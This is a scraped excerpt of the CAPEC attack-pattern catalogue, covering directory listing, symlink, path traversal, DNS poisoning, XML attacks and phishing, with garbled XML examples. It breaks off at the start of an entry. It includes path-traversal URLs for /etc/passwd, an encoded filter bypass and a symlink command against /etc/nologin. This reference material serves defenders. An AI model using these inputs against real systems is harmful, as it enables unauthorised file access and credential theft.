  1. The adversary uses directory listing to view sensitive files in the application. This is an example of accessing the backup file. The attack issues a request for http://www.example.com/admin/ and receives the following dynamic directory indexing content in the response: Index of /admin Name Last Modified Size Description backup/ 31-May-2007 08:18 - Apache/ 2.0.55 Server at www.example.com Port 80 The target application does not have direct hyperlink to the "backup" directory in the normal html webpage, however the attacker has learned of this directory due to indexing the content. The client then requests the backup directory URL and receives output which has a "db_dump.php" file in it. This sensitive data should not be disclosed publicly.

Explore

  1. Directory Discovery: Use a method, either manual, scripted, or automated to discover the directories on the server by making requests for directories that may possibly exist. During this phase the adversary is less concerned with whether a directory can be accessed or indexed and more focused on simply discovering what directories do exist on the target.
  2. Techniques
    Send requests to the web server for common directory names
    If directories are discovered that are native to a server type further refine the directory search to include directories usually present on those types of servers.
    Search for uncommon or potentially user created directories that may be present.

Experiment

  1. Iteratively explore directory/file structures: The adversary attempts to access the discovered directories that allow access and may attempt to bypass server or application level ACLs by using manual or automated methods
  2. Techniques
    Use a scanner tool to dynamically add directories/files to include their scan based upon data obtained in initial probes.
    Use a browser to manually explore the website by issuing a request ending the URL in a slash '/'.
    Attempt to bypass ACLs on directories by using methods that known to work against some server types by appending data to the directory request. For instance, appending a Null byte to the end of the request which may cause an ACL to fail and allow access.
    Sequentially request a list of common base files to each directory discovered.
    Try multiple fuzzing techniques to list directory contents for directories that will not reveal their contents with a "/" request

Exploit

  1. Read directories or files which are not intended for public viewing.: The adversary attempts to access the discovered directories that allow access and may attempt to bypass server or application level ACLs by using manual or automated methods
  2. Techniques
    Try multiple exploit techniques to list directory contents for directories that will not reveal their contents with a "/" request
    Try other known exploits to elevate privileges sufficient to bypass protected directories.
    List the files in the directory by issuing a request with the URL ending in a "/" slash.
    Access the files via direct URL and capture contents.
    Attempt to bypass ACLs on directories by using methods that are known to work against some server types by appending data to the directory request. For instance, appending a Null byte to the end of the request which may cause an ACL to fail and allow access.
    Sequentially request a list of common base files to each directory discovered.
High
  • The target must be misconfigured to return a list of a directory's content when it receives a request that ends in a directory name rather than a file name.
  • The adversary must be able to control the path that is requested of the target.
  • The administrator must have failed to properly configure an ACL or has associated an overly permissive ACL with a particular directory.
  • The server version or patch level must not inherently prevent known directory listing attacks from working.
  • Ability to send HTTP requests to a web application.
Low: To issue the request to URL without given a specific file name High: To bypass the access control of the directory of listings Draft Medium 3.9
54
Symlink Attack Detailed An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name. The endpoint file may be either output or input. If the file is output, the result is that the endpoint is modified, instead of a file at the intended location. Modifications to the endpoint file may include appending, overwriting, corrupting, changing permissions, or other modifications. In some variants of this attack the adversary may be able to control the change to a file while in other cases they cannot. The former is especially damaging since the adversary may be able to grant themselves increased privileges or insert false information, but the latter can also be damaging as it can expose sensitive information or corrupt or destroy vital system or application files. Alternatively, the endpoint file may serve as input to the targeted application. This can be used to feed malformed input into the target or to cause the target to process different information, possibly allowing the adversary to control the actions of the target or to cause the target to expose information to the adversary. Moreover, the actions taken on the endpoint file are undertaken with the permissions of the targeted user or application, which may exceed the permissions that the adversary would normally have. 2014-06-23 02:00:00 Capec: CAPEC-132
Cwe: CWE-59
Attack: T1547.009
Reference_from_capec: REF-13
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Modify Data
Availability:
  • Unreliable Execution
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Other (Information Leakage)
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
  1. The adversary creates a symlink with the "same" name as the file which the application is intending to write to. The application will write to the file- "causing the data to be written where the symlink is pointing". An attack like this can be demonstrated as follows: root vulprog myFile {...program does some processing...] adversary ln –s /etc/nologin myFile [...program writes to 'myFile', which points to /etc/nologin...] In the above example, the root user ran a program with poorly written file handling routines, providing the filename "myFile" to vulnprog for the relevant data to be written to. However, the adversary happened to be looking over the shoulder of "root" at the time, and created a link from myFile to /etc/nologin. The attack would make no user be able to login.

Explore

  1. Identify Target: Adversary identifies the target application by determining whether there is sufficient check before writing data to a file and creating symlinks to files in different directories.
  2. Techniques
    The adversary writes to files in different directories to check whether the application has sufficient checking before file operations.
    The adversary creates symlinks to files in different directories.

Experiment

  1. Try to create symlinks to different files: The adversary then uses a variety of techniques, such as monitoring or guessing to create symlinks to the files accessed by the target application in the directories which are identified in the explore phase.
  2. Techniques
    The adversary monitors the file operations performed by the target application using a tool like dtrace or FileMon. And the adversary can delay the operations by using "sleep(2)" and "usleep()" to prepare the appropriate conditions for the attack, or make the application perform expansive tasks (large files parsing, etc.) depending on the purpose of the application.
    The adversary may need a little guesswork on the filenames on which the target application would operate.
    The adversary tries to create symlinks to the various filenames.

Exploit

  1. Target application operates on created symlinks to sensitive files: The adversary is able to create symlinks to sensitive files while the target application is operating on the file.
  2. Techniques
    Create the symlink to the sensitive file such as configuration files, etc.
Low
  • The targeted application must perform the desired activities on a file without checking whether the file is a symbolic link or not. The adversary must be able to predict the name of the file the target application is modifying and be able to create a new symbolic link where that file would appear.
  • None: No specialized resources are required to execute this type of attack. The only requirement is the ability to create the necessary symbolic link.
Low: To create symlinks High: To identify the files and create the symlinks during the file operation time window Draft High 3.9
159
Relative Path Traversal Detailed An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \\) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure. 2014-06-23 02:00:00 Capec: CAPEC-139
Cwe: CWE-23
Reference_from_capec: REF-9
Reference_from_capec: REF-10
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. The attacker uses relative path traversal to access files in the application. This is an example of accessing user's password file. http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string. Then an attacker creates special payloads to bypass this filter: http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd When the application gets this input string, it will be the desired vector by the attacker.

Explore

  1. Fingerprinting of the operating system: In order to perform a valid path traversal, the adversary needs to know what the underlying OS is so that the proper file seperator is used.
  2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The adversary uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages
  3. Survey application: Using manual or automated means, an adversary will survey the target application looking for all areas where user input is taken to specify a file name or path.
  4. Techniques
    Use a spidering tool to follow and record all links on a web page. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of a web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore a website and analyze how it is constructed. Many browser plug-ins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt variations on input parameters: Using manual or automated means, an adversary attempts varying relative file path combinations on all found user input locations and observes the responses.
  2. Techniques
    Provide "../" or "..\" at the beginning of any filename to traverse to the parent directory
    Use a list of probe strings as path traversal payload. Different strings may be used for different platforms. Strings contain relative path sequences such as "../".
    Use a proxy tool to record results of manual input of relative path traversal probes in known URLs.

Exploit

  1. Access, modify, or execute arbitrary files.: An adversary injects path traversal syntax into identified vulnerable inputs to cause inappropriate reading, writing or execution of files. An adversary could be able to read directories or files which they are normally not allowed to read. The adversary could also access data outside the web document root, or include scripts, source code and other kinds of files from external websites. Once the adversary accesses arbitrary files, they could also modify files. In particular situations, the adversary could also execute arbitrary code or system commands.
  2. Techniques
    Manipulate file and its path by injecting relative path sequences (e.g. "../").
    Download files, modify files, or try to execute shell commands (with binary files).
High
  • The target application must accept a string as user input, fail to sanitize combinations of characters in the input that have a special meaning in the context of path navigation, and insert the user-supplied string into path navigation commands.
Low: To inject the malicious payload in a web page High: To bypass non trivial filters in the application Draft High 3.9
126
DNS Cache Poisoning Detailed A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack. 2014-06-23 02:00:00 Capec: CAPEC-142
Cwe: CWE-348
Cwe: CWE-345
Cwe: CWE-349
Cwe: CWE-346
Cwe: CWE-350
Attack: T1584.002
Reference_from_capec: REF-22
Reference_from_capec: REF-23
Reference_from_capec: REF-27
2022-09-29 02:00:00 2.1 Software
  1. In this example, an adversary sends request to a local DNS server to look up www.example .com. The associated IP address of www.example.com is 1.3.5.7. Local DNS usually caches IP addresses and do not go to remote DNS every time. Since the local record is not found, DNS server tries to connect to remote DNS for queries. However, before the remote DNS returns the right IP address 1.3.5.7, the adversary floods local DNS with crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious website www.maliciousexampsle.com When users connect to www.example.com, the local DNS will direct it to www.maliciousexample.com, this works as part of a Pharming attack.

Explore

  1. Explore resolver caches: Check DNS caches on local DNS server and client's browser with DNS cache enabled.
  2. Techniques
    Run tools that check the resolver cache in the memory to see if it contains a target DNS entry.
    Figure out if the client's browser has DNS cache enabled.

Experiment

  1. Attempt sending crafted records to DNS cache: A request is sent to the authoritative server for target website and wait for the iterative name resolver. An adversary sends bogus request to the DNS local server, and then floods responses that trick a DNS cache to remember malicious responses, which are wrong answers of DNS query.
  2. Techniques
    Adversary must know the transaction ID by intercepting a DNS query, or sending a bogus query with known transaction ID.
    If the transaction ID used to identify each query instance is randomized in some new DNS software, the attack must guess the transaction ID. Slow the response of the real DNS server by causing Denial-of-service. This gives adversaries enough time to guess transaction
    Adversary crafts DNS response with the same transaction ID as in the request. The adversary sends out DNS responses before the authorized DNS server. This forces DNS local cache stores fake DNS response (wrong answer). The fake DNS responses usually include a malicious website's IP address.

Exploit

  1. Redirect users to malicious website: As the adversary succeeds in exploiting the vulnerability, the victim connects to a malicious site using a good web site's domain name.
  2. Techniques
    Redirecting Web traffic to a site that looks enough like the original so as to not raise any suspicion.
    Adversary-in-the-Middle (CAPEC-94) intercepts secure communication between two parties.
High
  • A DNS cache must be vulnerable to some attack that allows the adversary to replace addresses in its lookup table.Client applications must trust the corrupted cashed values and utilize them for their domain name resolutions.
  • The adversary must have the resources to modify the targeted cache. In addition, in most cases the adversary will wish to host the sites to which users will be redirected, although in some cases redirecting to a third party site will accomplish the adversary's goals.
Medium: To overwrite/modify targeted DNS cache Draft High 3.9
141
Detect Unpublicized Web Pages Detailed An adversary searches a targeted web site for web pages that have not been publicized. In doing this, the adversary may be able to gain access to information that the targeted site did not intend to make public. 2014-06-23 02:00:00 Capec: CAPEC-143
Cwe: CWE-425
2023-01-24 01:00:00 2.1 Software

Explore

  1. Find target web site: An adversary finds a target web site that they think may have unpublicized web pages
  2. Map the published web site: The adversary will map the published web site either by using an automated tool or by manually accessing well-known debugging or logging pages, or otherwise predictable pages within the site tree
  3. Techniques
    Use Dirbuster to brute force directories and file names to find unpublicized pages
    Find a pattern in the naming of documents and extrapolate this pattern to discover additional documents that have been created but are no longer externally linked

Experiment

  1. Try to find weaknesses or information: The adversary will try to find weaknesses or information on the unpublicized pages that the targeted site did not intend to be public
  2. Techniques
    Manually analyze files or pages for information that could be useful in a further attack
    Use a static analysis tool to find weaknesses in unpublished web pages

Exploit

  1. Follow-up attack: Use any information or weaknesses found to carry out a follow-up attack
None
  • The targeted web site must include pages within its published tree that are not connected to its tree of links. The sensitivity of the content of these pages determines the severity of this attack.
  • Spidering tools to explore the target web site are extremely useful in this attack especially when attacking large sites. Some tools might also be able to automatically construct common page locations from known paths.
Draft Low 3.9
150
Detect Unpublicized Web Services Detailed An adversary searches a targeted web site for web services that have not been publicized. This attack can be especially dangerous since unpublished but available services may not have adequate security controls placed upon them given that an administrator may believe they are unreachable. 2014-06-23 02:00:00 Capec: CAPEC-144
Cwe: CWE-425
2023-01-24 01:00:00 2.1 Software

Explore

  1. Find target web site: An adversary finds a target web site that they think may have unpublicized web services
  2. Map the published web site: The adversary will map the published web site either by using an automated tool or by manually accessing well-known debugging or logging pages, or otherwise predictable pages within the site tree
  3. Techniques
    Use Dirbuster to brute force directories and file names to find unpublicized web services
    Find a pattern in the naming of documents and extrapolate this pattern to discover additional documents that have been created but are no longer externally linked

Experiment

  1. Try to find weaknesses or information: The adversary will try to find weaknesses in the unpublicized services that the targeted site did not intend to be public
  2. Techniques
    Use Nikto to look for web service vulnerabilities

Exploit

  1. Follow-up attack: Use any information or weaknesses found to carry out a follow-up attack
None
  • The targeted web site must include unpublished services within its web tree. The nature of these services determines the severity of this attack.
  • Spidering tools to explore the target web site are extremely useful in this attack especially when attacking large sites. Some tools might also be able to automatically construct common service queries from known paths.
Draft Low 3.9
150
Checksum Spoofing Detailed An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred. 2014-06-23 02:00:00 Capec: CAPEC-145
Cwe: CWE-354
2019-04-04 02:00:00 2.1 Software
None None
  • The adversary must be able to intercept a message from the sender (keeping the recipient from getting it), modify it, and send the modified message to the recipient.
  • The sender and recipient must use a checksum to protect the integrity of their message and transmit this checksum in a manner where the adversary can intercept and modify it.
  • The checksum value must be computable using information known to the adversary. A cryptographic checksum, which uses a key known only to the sender and recipient, would thwart this attack.
  • The adversary must have a utility that can intercept and modify messages between the sender and recipient.
Draft Medium 3.9
148
XML Schema Poisoning Detailed An adversary corrupts or modifies the content of XML schema information passed between a client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema. 2014-06-23 02:00:00 Capec: CAPEC-146
Cwe: CWE-15
Cwe: CWE-472
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Unreliable Execution (A successful schema poisoning attack can compromise the availability of the target system's service by exhausting its available resources.)
  • Resource Consumption (A successful schema poisoning attack can compromise the availability of the target system's service by exhausting its available resources.)
Confidentiality:
  • Read Data
Software
  1. XML Schema Poisoning Attacks can often occur locally due to being embedded within the XML document itself or being located on the host within an improperaly protected file. In these cases, the adversary can simply edit the XML schema without the need for additional privileges. An example of the former can be seen below: ]> John Smith 555-1234 jsmith@email.com 1 Example Lane If the 'name' attribute is required in all submitted documents and this field is removed by the adversary, the application may enter an unexpected state or record incomplete data. Additionally, if this data is needed to perform additional functions, a Denial of Service (DOS) may occur.
  2. XML Schema Poisoning Attacks can also be executed remotely if the HTTP protocol is being used to transport data. : John Smith 555-1234 jsmith@email.com 1 Example Lane The HTTP protocol does not encrypt the traffic it transports, so all communication occurs in plaintext. This traffic can be observed and modified by the adversary during transit to alter the XML schema before it reaches the end user. The adversary can perform a Adversary-in-the- Middle (CAPEC-94) Attack to alter the schema in the same way as the previous example and to acheive the same results.

Explore

  1. Determine if XML schema is local or remote: Because this attack differs slightly if the target uses remote XML schemas versus local schemas, the adversary first needs to determine which of the two are used.

Experiment

  1. Gain access to XML schema: The adversary gains access to the XML schema so that they can modify the contents.
  2. Techniques
    For a local scenario, the adversary needs access to the machine that the schema is located on and needs to gain permissions to alter the contents of the file.
    For a remote scenario, the adversary needs to be able to sniff HTTP traffic that contains an XML schema.

Exploit

  1. Poison XML schema: Once the adversary gains access to the XML schema, they will alter it to achieve a desired effect. Locally, they can simply modify the file. For remote schemas, the adversary will alter the schema in transit by performing an adversary in the middle attack.
  2. Techniques
    Cause a denial of service by modifying the schema so that it does not contain required information for subsequent processing. For example, the unaltered schema may require a @name attribute in all submitted documents. If the adversary removes this attribute from the schema then documents created using the new grammar may lack this field, which may cause the processing application to enter an unexpected state or record incomplete data.
    Manipulation of the data types described in the schema may affect the results of calculations. For example, a float field could be changed to an int field.
    Change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might use a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).
Low
  • Some level of access to modify the target schema.
  • The schema used by the target application must be improperly secured against unauthorized modification and manipulation.
  • Access to the schema and the knowledge and ability modify it. Ability to replace or redirect access to the modified schema.
Stable High 3.9
271
XML Ping of the Death Detailed An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target. 2014-06-23 02:00:00 Capec: CAPEC-147
Cwe: CWE-400
Cwe: CWE-770
2018-07-31 02:00:00 2.1 Availability:
  • Resource Consumption (DoS: resource consumption (other))
Software
  1. Consider the case of attack performed against the createCustomerBillingAccount Web Service for an online store. In this case, the createCustomerBillingAccount Web Service receives a huge number of simultaneous requests, containing nonsense billing account creation information (the small XML messages). The createCustomerBillingAccount Web Services may forward the messages to other Web Services for processing. The application suffers from a high load of requests, potentially leading to a complete loss of availability the involved Web Service.

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instance of web services to process XML requests.
  2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

Exploit

  1. Launch a resource depletion attack: The attacker delivers a large number of small XML messages to the target URLs found in the explore phase at a sufficiently rapid rate. It causes denial of service to the target application.
  2. Techniques
    Send a large number of crafted small XML messages to the target URL.
Low
  • The target must receive and process XML transactions.
  • Transaction generator(s)/source(s) and ability to cause arrival of messages at the target with sufficient rapidity to overload target. Larger targets may be able to handle large volumes of requests so the attacker may require significant resources (such as a distributed network) to affect the target. However, the resources required of the attacker would be less than in the case of a simple flooding attack against the same target.
Low: To send small XML messages High: To use distributed network to launch the attack Draft Medium 3.9
528
Explore for Predictable Temporary File Names Detailed An attacker explores a target to identify the names and locations of predictable temporary files for the purpose of launching further attacks against the target. This involves analyzing naming conventions and storage locations of the temporary files created by a target application. If an attacker can predict the names of temporary files they can use this information to mount other attacks, such as information gathering and symlink attacks. 2014-06-23 02:00:00 Capec: CAPEC-149
Cwe: CWE-377
2023-01-24 01:00:00 2.1 Software
None None
  • The targeted application must create names for temporary files using a predictable procedure, e.g. using sequentially increasing numbers.
  • The attacker must be able to see the names of the files the target is creating.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
497
Screen Temporary Files for Sensitive Information Detailed An adversary exploits the temporary, insecure storage of information by monitoring the content of files used to store temp data during an application's routine execution flow. Many applications use temporary files to accelerate processing or to provide records of state across multiple executions of the application. Sometimes, however, these temporary files may end up storing sensitive information. By screening an application's temporary files, an adversary might be able to discover such sensitive information. For example, web browsers often cache content to accelerate subsequent lookups. If the content contains sensitive information then the adversary could recover this from the web cache. 2014-06-23 02:00:00 Capec: CAPEC-155
Cwe: CWE-377
2021-10-21 02:00:00 2.1 Software

Explore

  1. Look for temporary files in target application: An adversary will try to discover temporary files in a target application. Knowledge of where the temporary files are being stored is important information.

Experiment

  1. Attempt to read temporary files: An adversary will attempt to read any temporary files they may have discovered through normal means.
  2. Techniques
    Attempt to get the file by querying the file path to a web server
    Using a remote shell into an application, read temporary files and send out information remotely if necessary
    Recover temporary information from a user's browser cache

Exploit

  1. Use function weaknesses to gain access to temporary files: If normal means to read temporary files did not work, an adversary will attempt to exploit weak temporary file functions to gain access to temporary files.
  2. Techniques
    Some C functions such as tmpnam(), tempnam(), and mktemp() will create a temporary file with a unique name, but do not stop an adversary from creating a file of the same name before it is opened by the application. Because these functions do not create file names that are sufficiently random, an adversary will try to make a file of the same name, causing a collision, and possibly altering file permissions for the temporary file so that it is able to be read.
    Similar to the last technique, an adversary might also create a file name collision using a linked file in a unix system such that the temporary file contents written out by the application write to a file of the adversaries choosing, allowing them to read the file contents.
Medium
  • The target application must utilize temporary files and must fail to adequately secure them against other parties reading them.
  • Because some application may have a large number of temporary files and/or these temporary files may be very large, an adversary may need tools that help them quickly search these files for sensitive information. If the adversary can simply copy the files to another location and if the speed of the search is not important, the adversary can still perform the attack without any special resources.
Draft Medium 3.9
150
Sniffing Network Traffic Detailed In this attack pattern, the adversary monitors network traffic between nodes of a public or multicast network in an attempt to capture sensitive information at the protocol level. Network sniffing applications can reveal TCP/IP, DNS, Ethernet, and other low-level network communication information. The adversary takes a passive role in this attack pattern and simply observes and analyzes the traffic. The adversary may precipitate or indirectly influence the content of the observed transaction, but is never the intended recipient of the target information. 2014-06-23 02:00:00 Capec: CAPEC-158
Cwe: CWE-311
Attack: T1040
Attack: T1111
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Communications
Software
None None
  • The target must be communicating on a network protocol visible by a network sniffing application.
  • The adversary must obtain a logical position on the network from intercepting target network traffic is possible. Depending on the network topology, traffic sniffing may be simple or challenging. If both the target sender and target recipient are members of a single subnet, the adversary must also be on that subnet in order to see their traffic communication.
  • A tool with the capability of presenting network communication traffic (e.g., Wireshark, tcpdump, Cain and Abel, etc.).
Low: Adversaries can obtain and set up open-source network sniffing tools easily. Draft Medium 3.9
157
Manipulating Hidden Fields Detailed An adversary exploits a weakness in the server's trust of client-side processing by modifying data on the client-side, such as price information, and then submitting this data to the server, which processes the modified data. For example, eShoplifting is a data manipulation attack against an on- line merchant during a purchasing transaction. The manipulation of price, discount or quantity fields in the transaction message allows the adversary to acquire items at a lower cost than the merchant intended. The adversary performs a normal purchasing transaction but edits hidden fields within the HTML form response that store price or other information to give themselves a better deal. The merchant then uses the modified pricing information in calculating the cost of the selected items. 2014-06-23 02:00:00 Capec: CAPEC-162
Cwe: CWE-602
2022-02-22 01:00:00 2.1 Software

Explore

  1. Probe target web application: The adversary first probes the target web application to find all possible pages that can be visited on the website.
  2. Techniques
    Use a spidering tool to follow and record all links
    Use a proxy tool to record all links visited during a manual traversal of the web application.
  3. Find hidden fields: Once the web application has been traversed, the adversary looks for all hidden HTML fields present in the client-side.
  4. Techniques
    Use the inspect tool on all modern browsers and filter for the keyword "hidden"
    Specifically look for hidden fields inside form elements.

Experiment

  1. Send modified hidden fields to server-side: Once the adversary has found hidden fields in the client-side, they will modify the values of these hidden fields one by one and then interact with the web application so that this data is sent to the server-side. The adversary observes the response from the server to determine if the values of each hidden field are being validated.

Exploit

  1. Manipulate hidden fields: Once the adversary has determined which hidden fields are not being validated by the server, they will manipulate them to change the normal behavior of the web application in a way that benefits the adversary.
  2. Techniques
    Manipulate a hidden field inside a form element and then submit the form so that the manipulated data is sent to the server.
None
  • The targeted site must contain hidden fields to be modified.
  • The targeted site must not validate the hidden fields with backend processing.
  • The adversary must have the ability to modify hidden fields by editing the HTTP response to the server.
Draft High 3.9
77
Spear Phishing Detailed An adversary targets a specific user or group with a Phishing (CAPEC-98) attack tailored to a category of users in order to have maximum relevance and deceptive capability. Spear Phishing is an enhanced version of the Phishing attack targeted to a specific user or group. The quality of the targeted email is usually enhanced by appearing to come from a known or trusted entity. If the email account of some trusted entity has been compromised the message may be digitally signed. The message will contain information specific to the targeted users that will enhance the probability that they will follow the URL to the compromised site. For example, the message may indicate knowledge of the targets employment, residence, interests, or other information that suggests familiarity. As soon as the user follows the instructions in the message, the attack proceeds as a standard Phishing attack. 2014-06-23 02:00:00 Capec: CAPEC-163
Cwe: CWE-451
Attack: T1534
Attack: T1566.001
Attack: T1566.002
Attack: T1566.003
Attack: T1598.001
Attack: T1598.002
Attack: T1598.003
2023-01-24 01:00:00 2.1 Integrity:
  • Modify Data (Data Modification)
Authorization:
  • Gain Privileges (Privilege Escalation)
Accountability:
  • Gain Privileges (Privilege Escalation)
Authentication:
  • Gain Privileges (Privilege Escalation)
Confidentiality:
  • Read Data (Information Leakage)
Non-Repudiation:
  • Gain Privileges (Privilege Escalation)
Social Engineering
  1. The target gets an official looking e-mail from their bank stating that their account has been temporarily locked due to suspected unauthorized activity that happened in a different area from where they live (details might be provided by the spear phishers) and that they need to click on the link included in the e-mail to log in to their bank account in order to unlock it. The link in the e-mail looks very similar to that of their bank and once the link is clicked, the log in page is the exact replica. The target supplies their login credentials after which they are notified that their account has now been unlocked and that everything is fine. An adversary has just collected the target's online banking information which can now be used by them to log into the target's bank account and transfer money to a bank account of the adversary's choice.
  2. An adversary can leverage a weakness in the SMB protocol by sending the target, an official looking e-mail from their employer's IT Department stating that their system has vulnerable software, which they need to manually patch by accessing an updated version of the software by clicking on a provided link to a network share. Once the link is clicked, the target is directed to an external server controlled by the adversary or to a malicious file on a public access share. The SMB protocol will then attempt to authenticate the target to the adversary controlled server, which allows the adversary to capture the hashed credentials over SMB. These credentials can then be used to execute offline brute force attacks or a "Pass The Hash" attack.

Explore

  1. Obtain useful contextual detailed information about the targeted user or organization: An adversary collects useful contextual detailed information about the targeted user or organization in order to craft a more deceptive and enticing message to lure the target into responding.
  2. Techniques
    Conduct web searching research of target. See also: CAPEC-118.
    Identify trusted associates, colleagues and friends of target. See also: CAPEC-118.
    Utilize social engineering attack patterns such as Pretexting. See also: CAPEC-407.
    Collect social information via dumpster diving. See also: CAPEC-406.
    Collect social information via traditional sources. See also: CAPEC-118.
    Collect social information via Non-traditional sources. See also: CAPEC-118.

Experiment

  1. Optional: Obtain domain name and certificate to spoof legitimate site: This optional step can be used to help the adversary impersonate the legitimate site more convincingly. The adversary can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.
  2. Techniques
    Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L).
    Optionally obtain a legitimate SSL certificate for the new domain name.
  3. Optional: Explore legitimate website and create duplicate: An adversary creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.
  4. Techniques
    Use spidering software to get copy of web pages on legitimate site.
    Manually save copies of required web pages from legitimate site.
    Create new web pages that have the legitimate site's look at feel, but contain completely new content.
  5. Optional: Build variants of the website with very specific user information e.g., living area, etc.: Once the adversary has their website which duplicates a legitimate website, they need to build very custom user related information in it. For example, they could create multiple variants of the website which would target different living area users by providing information such as local news, local weather, etc. so that the user believes this is a new feature from the website.
  6. Techniques
    Integrate localized information in the web pages created to duplicate the original website. Those localized information could be dynamically generated based on unique key or IP address of the future victim.

Exploit

  1. Convince user to enter sensitive information on adversary's site.: An adversary sends a message (typically an e-mail) to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to adversary's website) and log in. The key is to get the victim to believe that the message is coming from a legitimate entity trusted by the victim or with which the victim or does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.
  2. Techniques
    Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.
    Place phishing link in post to online forum.
  3. Use stolen credentials to log into legitimate site: Once the adversary captures some sensitive information through phishing (login credentials, credit card information, etc.) the adversary can leverage this information. For instance, the adversary can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.
  4. Techniques
    Log in to the legitimate site using another user's supplied credentials.
High
  • None. Any user can be targeted by a Spear Phishing attack.
  • An adversay must have the ability communicate their phishing scheme to the victims (via email, instance message, etc.), as well as a website or other platform for victims to enter personal information into.
Medium: Spear phishing attacks require specific knowledge of the victims being targeted, such as which bank is being used by the victims, or websites they commonly log into (Google, Facebook, etc). Draft High 3.9
98
Mobile Phishing Detailed An adversary targets mobile phone users with a phishing attack for the purpose of soliciting account passwords or sensitive information from the user. Mobile Phishing is a variation of the Phishing social engineering technique where the attack is initiated via a text or SMS message, rather than email. The user is enticed to provide information or visit a compromised web site via this message. Apart from the manner in which the attack is initiated, the attack proceeds as a standard Phishing attack. 2014-06-23 02:00:00 Capec: CAPEC-164
Cwe: CWE-451
Reference_from_capec: REF-590
Reference_from_capec: REF-591
Reference_from_capec: REF-592
Reference_from_capec: REF-593
Reference_from_capec: REF-696
2023-01-24 01:00:00 2.1
  • Smishing
  • MobPhishing
Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Social Engineering
  1. The target receives a text message stating that their Apple ID has been disabled due to suspicious activity and that they need to click on the link included in the message to log into their Apple account in order to enable it. The link in the text message looks legitimate and once the link is clicked, the login page is an exact replica of Apple's standard login page. The target supplies their login credentials and are then notified that their account has now been unlocked. However, the adversary has just collected the target's Apple account information, which can now be used by the adversary for a variety of purposes.

Explore

